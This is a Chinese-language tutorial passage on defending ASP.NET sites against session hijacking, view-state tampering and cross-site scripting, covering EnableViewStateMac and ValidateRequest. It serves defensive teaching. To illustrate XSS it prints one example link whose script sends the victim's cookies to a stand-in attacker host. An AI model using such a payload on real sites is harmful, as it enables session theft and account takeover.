当前位置:编程学习 > C#/ASP.NET >>

利用ASP.NET的内置功能抵御Web攻击(2)

答案:     会话劫持
  Cookie 还被用于检索特定用户的会话状态。会话的 ID 被存储到 cookie 中,该 cookie 与请求一起来回传送,存储在浏览器的计算机上。同样,如果失窃,会话 cookie 将可被用来使黑客进入系统并访问别人的会话状态。不用说,只要指定的会话处于活动状态(通常不超 20 分钟),这就有可能发生。通过冒充的会话状态发起的攻击称为会话劫持。有关会话劫持的详细信息,请阅读 Theft On The Web: Prevent Session Hijacking。
  
  这种攻击有多危险?很难讲。这要取决于 Web 站点的功能,更为重要的是,该站点的页是如何设计的。例如,假定您能够获得别人的会话 cookie,并将它附加到对站点上某个页的请求中。您加载该页并逐步研究它的普通用户界面。除了该页使用另一个用户的会话状态工作外,您无法将任何代码注入该页,也无法修改该页中的任何内容。这本身并不太坏,但是如果该会话中的信息是敏感和关键性的,就有可能直接导致黑客成功实现利用。黑客无法渗透到会话存储的内容中,但他可以使用其中存储的信息,就像自己是合法进入的一样。例如,假定有这样一个电子商务应用程序,它的用户在浏览站点时将物品添加到购物车中。
  
  • 方案 1。 购物车的内容存储在会话状态中。但是,在结帐时,用户被要求通过安全的 SSL 连接确认和输入付款详细信息。这种情况下,通过接入其他用户的会话状态,黑客仅可以了解到一些有关受害者的购物喜好的细节。在这种环境下劫持实际上并不会导致任何损害。受威胁的只是保密性。
  
  • 方案 2。应用程序为每位注册用户处理一份档案,并将档案保存在会话状态中。糟糕的是,档案中(可能)包括信用卡信息。为什么要将用户档案详细信息存储到会话中?可能应用程序的其中一个目标是,从根本上避免使用户不得不重复键入自己的信用卡和银行信息。因此,在结算时,应用程序会将用户定位到一个具有预先填充的域的页。而有失谨慎的是,这些域的其中一个是从会话状态中获取的信用卡号。现在您可以猜到故事的结局了吗?
  
  
  应用程序的页的设计,是防止会话劫持攻击的关键所在。当然,还有两点没有理清。第一点是,如何防止 cookie 盗窃?第二点是,ASP.NET 可以如何检测和阻止劫持?
  
  ASP.NET 会话 cookie 极其简单,仅限于包含会话 ID 字符串本身。ASP.NET 运行库从 cookie 中提取会话 ID,并将其与活动的会话进行比较。如果 ID 有效,ASP.NET 将连接到对应的会话并继续。这种行为极大地方便了已经偷到或者可以猜出有效的会话 ID 的黑客。
  
  XSS 和中间人 (man-in-the-middle) 攻击以及对客户端 PC 的强力访问,都是获取有效 cookie 的方法。为了防止盗窃,您应当实现安全最佳实践来防止 XSS 及其各变种得手。
  
  而为了防止会话 ID 猜测,您应当干脆避免太高估计自己的技能。猜测会话 ID 意味着您知道如何预测有效的会话 ID 字符串。对于 ASP.NET 所使用的算法(15 个随机数字,映射为启用 URL 的字符),随机猜测到有效 ID 的概率接近于零。我想不到任何理由来用自己的会话 ID 生成器替换默认的会话 ID 生成器。许多情况下,这么做只会为攻击者提供方便。
  
  会话劫持更为糟糕的后果是一旦 cookie 被盗或者被猜出,ASP.NET 并没有什么办法来检测欺诈性的 cookie 使用。同样,原因是 ASP.NET 将自己限制为检查 ID 的有效性,以及 cookie 的来源地。
  
  我在 Wintellect 的朋友 Jeff Prosise 为 MSDN Magazine 写了一篇很好的关于会话劫持的文章。他的结论并不令人安慰:几乎不可能建立能够完全抵御依靠偷来的会话 ID Cookie 所发起的攻击的防御工事。但是他开发的代码为进一步提升安全标准提供了非常明智的建议。Jeff 创建了一个 HTTP 模块,该模块为会话 ID Cookie 监视传入的请求和传出的响应。该模块将一条哈希代码附加到会话 ID 之后,使攻击者重用 cookie 更为困难。您可以在此处阅读详情。
  
  
  EnableViewStateMac
  视图状态用于在对同一个页的两个连续请求之间保持控件的状态。默认情况下,视图状态是 Base64 编码的,并使用一个哈希值签名,以防止篡改。除非更改默认的页设置,否则不可能篡改视图状态。如果攻击者修改了视图状态,甚至使用正确的算法重新生成了视图状态,ASP.NET 都会捕获这些尝试并引发异常。视图状态被篡改并不一定有害,虽然它修改了服务器控件的状态 — 但可能成为造成严重感染的工具。因此,不 移除默认情况下进行的计算机身份验证代码 (MAC) 交叉检查就异常重要。请参阅图 2。
  
  
  
  启用了 MAC 检查时(默认情况),将对序列化的视图状态附加一个哈希值,该值是使用某些服务器端值和视图状态用户秘钥(如果有)生成的。回发视图状态时,将使用新的服务器端值重新计算该哈希值,并将其与存储的值进行比较。如果两者匹配,则允许请求;否则将引发异常。即使假设黑客具有破解和重新生成视图状态的能力,他/她仍需要知道服务器存储的值才可以得出有效的哈希。具体说来,该黑客需要知道 machine.config 的 <machineKey> 项中引用的计算机秘钥。
  
  默认情况下, 项是自动生成的,以物理方式存储在 Windows Local Security Authority (LSA) 中。仅在 Web 场(此时视图状态的计算机秘钥必须在所有的计算机上都相同)的情形下,您才应当在 machine.config 文件中将其指定为明文。
  
  视图状态 MAC 检查是通过一个名为 EnableViewStateMac 的 @Page 指令属性控制的。如前所述,默认情况下,它被设置为 true。请永远不要禁用它;否则将会使视图状态篡改一次单击攻击成为可能,并具有很高的成功概率。
  
  
  ValidateRequest
  跨站点脚本 (XSS) 对于很多经验丰富的 Web 开发人员来说是老朋友了,它在 1999 年左右就已经出现了。简单地说,XSS 利用代码中的漏洞来将黑客的可执行代码引入另一个用户的浏览器会话中。如果被执行,注入的代码可以执行多种不同的操作 — 获取 Cookie 并将一个副本上载到黑客控制的 Web 站点,监视用户的 Web 会话并转发数据,修改被黑的页的行为和外观以使其提供错误的信息,甚至使自己变为持续性的,这样用户下一次返回该页时,欺诈代码会再次运行。请在 TechNet 文章 Cross-site Scripting Overview 中详细阅读有关 XSS 攻击的基础知识。
  
  代码中的哪些漏洞导致 XSS 攻击成为可能?
  
  XSS 利用的是动态生成 HTML 页、但并不验证回显到页的输入的 Web 应用程序。这里的输入 是指查询字符串、Cookie 和表单域的内容。如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险。(前面提到的一次单击攻击其实是 XSS 的一种新近变种。)典型的 XSS 攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码。欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页。以下是可能发生的情况的一个示例:
  
  <a href=>  <script>document.location.replace(
  'http://www.hackersite.com/HackerPage.aspx?
  Cookie=' + documents.cookie);
  </script>">Click to claim your prize</a>
  
  用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有 Cookie,然后将它们发送到黑客的 Web 站点。
  
  请务必注意,XSS 不是一个特定于供应商的问题,因此并不一定会利用 Internet Explorer 中的漏洞。它影响目前市场上的所有 Web 服务器和浏览器。更应注意的是,没有哪一个修补程序能够修复这一问题。您完全可以保护自己的页免受 XSS 攻击,方法是应用特定的措施和合理的编码实践。此外,请注意,攻击者并不需要用户单击链接就可以发起攻击。
  
  要防御 XSS,您必须从根本上确定哪些输入是有效的,然后拒绝所有其他输入。您可以在一本书中读到抵御 XSS 攻击的详细检查表,该书在 Microsoft 属于必读范围 — Writing Secure Code,作者是 Michael Howard 和 David LeBlanc。特别地,我建议您仔细阅读第 13 章。
  
  阻止阴险的 XSS 攻击的主要方法是向您的输入(任何类型的输入数据)添加一个设计合理、有效的验证层。例如,某些情况下即使是原本无害的颜色(RGB 三色)也会将不受控制的脚本直接带入页中。
  
  在 ASP.NET 1.1 中,@Page 指令上的 ValidateRequest 属性被打开后,将检查以确定用户没有在查询字符串、Cookie 或表单域中发送有潜在危险性的 HTML 标记。如果检测到这种情况,将引发异常并中止该请求。该属性默认情况下是打开的;您无需进行任何操作就可以得到保护。如果您想允许 HTML 标记通过,必须主动禁用该属性。
  
  <%@ Page ValidateRequest="false" %>
  
  ValidateRequest不是 万能的药方,无法替代有效的验证层。请阅读此处以获取大量有关该功能的基础原理的宝贵信息

上一个:ASP.NET设计网络硬盘之文件夹实现
下一个:利用ASP.NET的内置功能抵御Web攻击

CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,